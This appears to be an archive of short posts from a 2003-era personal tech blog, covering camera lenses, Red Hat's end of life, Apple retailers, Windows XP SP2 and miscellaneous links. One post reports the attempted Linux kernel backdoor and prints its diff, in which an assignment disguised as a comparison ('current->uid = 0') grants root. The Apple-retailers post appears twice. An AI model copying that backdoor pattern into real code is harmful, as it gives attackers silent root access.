Canon has released new firmware (2.0) for the EOS 10D. Doesn't look like anything major was updated, unless you are excited by printing directly from the camera.

I like this monster box idea. I think New York needs a bunch of monster boxes.

Read this excellent list of quotes compiled by Werner Vogels, then go read this book. Then, for extra credit, read this one.

I have a question for the photo-geeks in the audience. I'd like to get a fast wide angle / normal lens for my 10D. I'm looking at three lenses:

• Canon's 35MM f/1.4 L series
• Canon's 35 MM f/2 EF series
• Canon's 50MM f/1.4 EF series

First, I'm wondering about the practical difference in quality between the EF and L series quality on the 35MM lens. The jump in price from $250 to $1100 is substantial; I'm wondering if there is a commensurate (i.e.4x) jump in image quality.

Second, what about that 50MM lens? Why is there no L series 50MM? This is the one I'm tempted to get, but first I'd like to know some more about the quality of this lens, both image and construction. Pointers to online materials are welcome.

[Update: I'd also be interested in suggestions for similar lenses from other manufacturers. I'm not married to Canon lenses]

Aaron Swartz reports that Google is spidering IRC channels. Funky.

When you need help with a computer problem, you are probably not going to get the best service your IT person can give you if, in the process of asking for his help, you refer to that help as "all that technical bullshit".

Mike McBride, via Scoble.

Sweet Tapdancing Jesus! It is Netscape all over again:

"Google reportedly rejected a $10 billion buyout offer from Microsoft, and is now launching a product that puts Google directly onto the Windows desktop."

All we need is for Sergey Brin to refer to Windows as a "poorly debugged set of device drivers" and we're done.

Is this how it will happen?

FileLight is a cool filesystem usage visualization app. Take a look at this screenshot.

I'd like to take some time to think about what Edward Tufte would say about FileLight.

It appears that someone tried to sneak a subtle backdoor into the Linux kernel source, one that would allow any application to elevate to root privileges.

The BitKeeper source is exported nightly and merged into a CVS repository, to give people access to the head of the tree without requiring BitKeeper. This CVS repository appears to have been directly changed, suggesting a breach on that BK host. When BitKeeper attempted to commit the daily code, the difference alerted the BitKeeper people to the change.

--- GOOD        2003-11-05 13:46:44.000000000 -0800

+++ BAD 2003-11-05 13:46:53.000000000 -0800

@@ -1111,6 +1111,8 @@

                schedule();

                goto repeat;

        }

+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

+                       retval = -EINVAL;

        retval = -ECHILD;

 end_wait4:

        current->state = TASK_RUNNING;

Wow: current->uid = 0

That is some subtle hacking. I would not have noticed that.

There is just too much funny stuff going on today: Pointless Changes Around This Office.

I'm having a week just like that.

Fell asleep. On the subway. On Halloween. Wearing a cow suit.

The Associated Press breaks new ground in reporting:

"Concrete is stronger once it has hardened."

Ah ha. Now everyone, back to work.

My friend Kyle just made me laugh so hard I almost made pee a little. In response to this, he said "McDonald's: pay us to make you fat and we'll give you the funky."

There are lies, damn lies, and the stuff you read on CNN...

Chris Winters thinks he is getting worse at small talk as he gets older. Damn. I always hoped I'd get better at it as time passed.

Maciej Ceglowski ran the New York marathon. He is talking about it in his 'blog. I was there, at mile 4, cheering enthusiastically.

Joshua Allen nails a key distinction:

"[...]Which gets to my personal bias.  I believe that all of these "distributed computing" paradigms all come down to a model where code is central.  I believe that there are a huge number of business problems which are more suited to a data-central view.  People will argue that code and data are complimentary, and it can even be argued that code is data, but I am talking about a fundamental architectural bias here.  Do you view your system as being one big chunk of RAM, or one big CPU?  I think it's typical for developers to think from a code-centered perspective first, and it takes a certain amount of experience with the boring, bread-and-butter business apps before a developer realizes that the data is the only really important part of the application." [via Better living Through Software]

This is so terribly important to internalize. As developers we really do try to apply the DRY principle and to leverage frameworks and runtimes. Part of this well-intentioned push results in "standardization" on a given framework, runtime, or class library (and, usually, on more than one).

So Java developers decide if they are in the fat or thin client world, then dive whole-hog into building Struts or JSTL or EJB-based systems. But without care, our new framework becomes a golden hammer. The design stage for every application soon involves a discussion something like "how can we fit this design into an EJB container?" rather than thinking about the best tool for the job at hand. Maybe we don't need a distributed, transaction-aware runtime to update a single row in a database. Blasphemy!

The ultimate golden hammer for software developers is, of course, software itself. Rarely do I see a problem that doesn't seem as if it might yield to the careful application of some custom-written code. Sometimes, however, all the client really needs is a spreadsheet, or a few simple screens in FileMaker. Maybe they just need a good report on existing data or enough documentation to bridge the difference between the physical model of the database and their own mental model of the data. How many times have I seen a thousand lines of code deployed into an application server that could be replaced with a few lines in Perl or sed? More than once.

Sometimes I'm so focused on writing the system to get data into a database that I forget the whole point is analysis of that data, which, of course, means getting the data out. While it may fly in academia, I can't tell my clients that I'm leaving the actual analysis of the data as an exercise for the reader.

The unreal story of Maher Arar. Background from the CBC. Information from TalkLeft. References from Amnesty International.

Best MacBoy animation yet: Ballmer's iPod.

Apple should buy this and air it as a commercial.

Interesting writing is starting to come from Iraq, in the form of blog entries from residents. This from Zeyad's Healing Iraq:

"Imagine yourself living in a neighbourhood with a large number of ex-Baathists/Wahhabis/extremists like I do. Would you go out and denounce the Jihadis/Ba'athists openly for everyone to see, and then get back from work one day to find your brother kidnapped or a threat letter hanging on your door? A friend of mine was standing in front of his house with his kids when a car drove by and emptied a magazine of bullets into them. You know why? Because he was working with the CPA in reconstructing Baghdad Airport. What do you think he did? He stubbornly refused to quit his job and bravely returned to work after spending a week in hospital. Would you do the same? Of course not. We expected most of the IP would simply leave their jobs after last weeks bombing, well they didn't. In fact there were thousands of parents volunteering to carry arms and protect the schools which their kids attend to allow the IP to do their real job."

Hmm. It looks like Doc didnt' like The Matrix:

"Tech Billionaires Team Together to Buy Warner Brothers Film Studio Group Plans to Hire New Scriptwriters, Director, and Re-Shoot The Matrix Revolutions Next Week."

Wow. After reading a few entries, I'm totally transfixed. "I am Eating My Husbands Soul" is just great writing, web or no. Thanks to Morgan for the link.

I'm continually amazed at the amount of time some people have to waste, as well as some people's limited ability to express themselves.

This E-Bay listing manages to cover both points.

Some day, we'll all just be heads.

The Buttafly guide to interpreting Friendster photos.

Wow. This is big. Windows XP SP 2 will have a non-executable stack. This, in addition to a number of other quite significant changes, will require that developers look very carefully at their code. Heavy-duty DCOM applications, in particular.

A non-executable stack is a smart, and dare I say, bold move for our friends in Redmond. But I thought pentium-class processors didn't support no-execute stacks? I remember some Linux issue with this. I could be way off here.

Even so, you know this is going to break things like PERL, Python, and Java on Win XP for a while.

God dammit. Just as I resolve to switch from RedHat to SuSe, Novell buys SuSe Linux.

Involvement with Novell has historically proven to be a potent technological poison, akin to a cocktail of arsenic, strychnine, and plutonium. Lets hope SuSe and Ximian don't go down with Novell's boat.

After a weekend of hacking, I've updated Rotor to run on Panther. Diffs against TOT at sscli.net are here. To patch your Rotor install, cd into the sharedsourcecli directory and run patch -p0 < rotor_panther_diffs.txt. [via Eric Albert's 'blog]

Eric Albert is one remarkable dude.

Some lawyers are disgusting:

"...[A] 30-second television commercial by a Staten Island law firm that showed a ghostly image of a ferry washed over by a tidal wave of green dollar signs. "If you were injured, you may be entitled to money damages," a man's voice said."

Then again, regular people can be disgusting, too:

"[...]some passengers are seeking large awards even though they suffered little or no physical injury: One woman wants the city to pay her $200 million for losing sleep. Others are seeking up to $10 million solely for emotional trauma."

[via The New York Times]

Different Strings is talking about an interesting series of U.S. Government documents that seem to have been changed or purged once found to be embarrassing to the Bush Administration.

"While I'd hate to have to see our congressional leaders waste their time dealing with an issue like this, I'm beginning to think that maybe there needs to be some kind of legislation put in place that would disallow the changing of any web pages on any official government site without some kind of notation being left behind to explain what the change was and why it was made. It's the least we should expect from a government that has a responsibility to keep us informed."

Add this to the list of frightening revisionist tendencies brewing in this, our "birthplace of democracy."

Microsoft asserting that closed is open. Bush changing the public record on his "mission accomplished" carrier landing. Maybe this is because I'm reading 1984 right now, maybe it is because the the internet has made the world that much more transparent, but things seem really, really wrong here in the U.S.

Just got this from RedHat:

Thank you for being a Red Hat Network customer.

This e-mail provides you with important information about the upcoming discontinuation of Red Hat Linux, and resources to assist you with your migration to another Red Hat solution.

As previously communicated, Red Hat will discontinue maintenance and errata support for Red Hat Linux 7.1, 7.2, 7.3 and 8.0 as of December 31, 2003. Red Hat will discontinue maintenance and errata support for Red Hat Linux 9 as of April 30, 2004. Red Hat does not plan to release another product in the Red Hat Linux line.

I find this terribly, terribly annoying. I've been using RedHat since the 5.0 days. I run a bunch of small servers on RH 7.x and 8.x. If I read this correctly, plain-old RedHat linux is no more. End-of-life. Unless I want to buy the subscription-based Enterprise (read:expensive) version, it appears that I'm SOL.

In looking at the feature comparison, it appears I could choose between the Workstation and Enterprise versions. According to the pricing chart, that would cost $179 or $349. But here is my problem. These products are listed as only "supporting" one or two CPUs. I'm not sure what that really means, but I'm not a linux user because I like using factory-crippled products. I'm getting a bad feeling about RedHat.

Because a number of the servers I run are for non-profit organizations, and the work is pro-bono, I don't feel comfortable installing RedHat Enterprise for them. Seems like too much of a risk. I'm was willing to buy RedHat Network subscriptions for each of the servers, but I'm not going to buy individual copies of RedHat Enterprise for them.

My first instinct was to go totally free, and commit to migrating to Debian. I really like how Debian is put together, and apt-get is a pleasure to use. But they have a spotty history with Java, and I need Java support.

Does that leave me with SuSe? I know they are "officially" supported as a Java platform, and YaST is pretty snappy. I dread, however, learning the idiosyncrasies of another linux distribution right now. I'm way too busy.

Finally, for a while I've been kicking around the idea of creating a small, not for profit hosting deal. I've been spoiled by having dedicated servers on the internet, with fairly good physical access. 6U in a real hosting company with 1Mbps bandwidth should be around $400 per month (minus the needed hardware). Less rackspace or less bandwidth would be cheaper. It wouldn't take many people kicking in $20 / month for unlimited access to a host (DNS, Java, whatever) to start breaking even.

I'm also tempted to switch the whole sheebang over to MacOS X on an X Serve. The latest MacOS X is really nice. I'm just a little nervous about running it headless at a remote site.

I seem to have fallen into rambling here. I'll leave you with these random thoughts.

Today's "Needless Complexity" award goes to NetNewsWire:

Right-clicking on a selection allows you to change the "writing direction." Just in case you wanted your English words to read as as if they were Arabic.

This may be the fault of OS X, rather than NetNewsWire, but either way, this option really isn't useful.

"I felt completely knackered and not able to do another one."

From Sir Ranulph Fiennes, after having completed his seventh marathon in seven days, on seven continents. That is just unbelievable.

I just used the term "robot sex slave" in the context of a work conversation. Things are really going downhill for me.

No, wait. This is my favorite.

These video clips are fantastically strange. I particularly like this one.

[Note: requires Quicktime]

So the level of complaints from Apple retailers is kicking up again:

"Since the opening of Apple retail stores, our business has fallen off dramatically and I defy Apple or any independent dealer to deny that," said one dealer in the central U.S. "They promised us Apple retail stores and the online store wouldn't be competition. They have turned right around and lied to us and they compete with us each and every day. Whatever they announce on Monday won't be good for independent dealers. They'll simply cut back more on the support they give us." [via Think Secret]

I feel for the small, independent businesses, I really do. But here is the dirty little secret:

Apple retailers all suck.

Sad, but true. Even here in New York City, a place with a healthy Mac population, all of the retail stores were horrific. Until Apple opened a store in SoHo, there were no places I would confidently send people to by MacOS stuff. Not one. As soon as Apple opened the online store, I started sending people there.

New York's TekServe, the self-billed "old reliable Mac shop," was a case in point. Billed as the place in the city to get Apple hardware and software, it was actually the place to go to get jostled, rushed, and treated rudely while trying to spend some money. The people who work there are all so taken with the mystical Mac ethos that getting service was more like talking your way into a good club, rather than blowing huge money on a new computer. Sure, there is a hammock, and the soda is a dime, but really I just want to buy a new keyboard, thank you. I'm not part of your little cult of Mac personality. Really.

The chains like CompUSA and DataVision are no better. All the Apple stuff is packed in a ghetto at the back of the store, behind an elevator shaft, under a bunch of exposed, low-hanging ventilation equipment. Oh, and if you make me check my bag to come in your shithole store, you can go screw yourself. Don't treat me like a criminal, jackass.

Then Apple opened a retail store downtown. It is spacious. It has rows and rows of software out in the open. All the models are available to tinker with, as are a lot of cameras, iPods, etc... The place is well-lit, and the employees seem...welcoming. They answer a question, then hang with you to see of you have another question.

Of course the Apple retail stores will cut into other dealers' money. They are better.

Americans can be such whiners.

So the level of complaints from Apple retailers is kicking up again:

"Since the opening of Apple retail stores, our business has fallen off dramatically and I defy Apple or any independent dealer to deny that," said one dealer in the central U.S. "They promised us Apple retail stores and the online store wouldn't be competition. They have turned right around and lied to us and they compete with us each and every day. Whatever they announce on Monday won't be good for independent dealers. They'll simply cut back more on the support they give us." [via Think Secret]

I feel for the small, independent businesses, I really do. But here is the dirty little secret:

Apple retailers all suck.

Sad, but true. Even here in New York City, a place with a healthy Mac population, all of the retail stores were horrific. Until Apple opened a store in SoHo, there were no places I would confidently send people to by MacOS stuff. Not one. As soon as Apple opened the online store, I started sending people there.

New York's TekServe, the self-billed "old reliable Mac shop," was a case in point. Billed as the place in the city to get Apple hardware and software, it was actually the place to go to get jostled, rushed, and treated rudely while trying to spend some money. The people who work there are all so taken with the mystical Mac ethos that getting service was more like talking your way into a good club, rather than blowing huge money on a new computer. Sure, there is a hammock, and the soda is a dime, but really I just want to buy a new keyboard, thank you. I'm not part of your little cult of Mac personality. Really.

The chains like CompUSA and DataVision are no better. All the Apple stuff is packed in a ghetto at the back of the store, behind an elevator shaft, under a bunch of exposed, low-hanging ventilation equipment. Oh, and if you make me check my bag to come in your shithole store, you can go screw yourself. Don't treat me like a criminal, jackass.

Then Apple opened a retail store downtown. It is spacious. It has rows and rows of software out in the open. All the models are available to tinker with, as are a lot of cameras, iPods, etc... The place is well-lit, and the employees seem...welcoming. They answer a question, then hang with you to see of you have another question.

Of course the Apple retail stores will cut into other dealers' money. They are better.

Americans can be such whiners.

"In general, the slant of the piece couldn't have been more one-sided. But what could we expect from a company owned byViacom, a member in good standing of the copyright cartel? Balance? Ha.

The journalists who did this report should be ashamed. Somehow, though, I doubt they knew any better. That's the most disturbing thing." [Dan Gillmor's eJournal]

Dan Gillmor correctly skewers 60 Minutes' treatment of the P2P filesharing issue. What was aired seemed entirely lacking objective reporting or investigation.

I've always liked Lemmy simply because he is a bass player, and generally insane. Now I like him even more.

Forbes is running an article about "Gadgets We Love." First on the list? The iPod, of course:

"The iPod is a handy little thing, letting you travel with a prodigious collection of music without having to endure the disarray of a stack of CDs. But utility isn't the point; the real point is to ascend into Apple's elegant world. Like drivers of vintage Corvettes who stop at the same traffic light and give each other a smug thumbs-up, iPod users on the New York subway eye one another approvingly, spotting the distinctive white and tangle-prone earphones that mark another member of the club. Our faces share the same beatific look, as we get lost in sound, gleefully embracing technology that actually delivers." [via Forbes]

Actually, it happens a little differently.

Dude 1 [thinking]: Dude over there has an iPod, too.

Dude 2 [thinking]: Hmm. Another iPod. Two iPods on the A Train -- go figure! They are everywhere.

Dude 1: He's got the new model. Loser. I'm old skool. Got the original 5GB model.

Dude 2: He has a nice case. Why don't they make that Hedi Slimane case for the new iPods? Is he looking at me?

Dude 1: These Wall Street types have no taste, the bunch of lemmings. He's using the original headphones. Sucker!

Dude 2: Why is that guy with the iPod grinning at me? Jesus, I hope he doesn't try to mug me.

Dude 1: I could get the bourgeois 40 gig model if I wanted! I choose not to!

Dude 2: Now he's getting really agitated. I wonder if there is a transit cop around?

Dude 1: iPods were cool before before all the suits started buying them. They probably hook them up to a PC! Yea -- that's right, Gordon Gekko Jr! You aren't welcome here!

Dude 2: OK. Now he's freaking me out, iPod or not. I'm getting off at Spring Street. Maybe the Apple Store has those new speakers...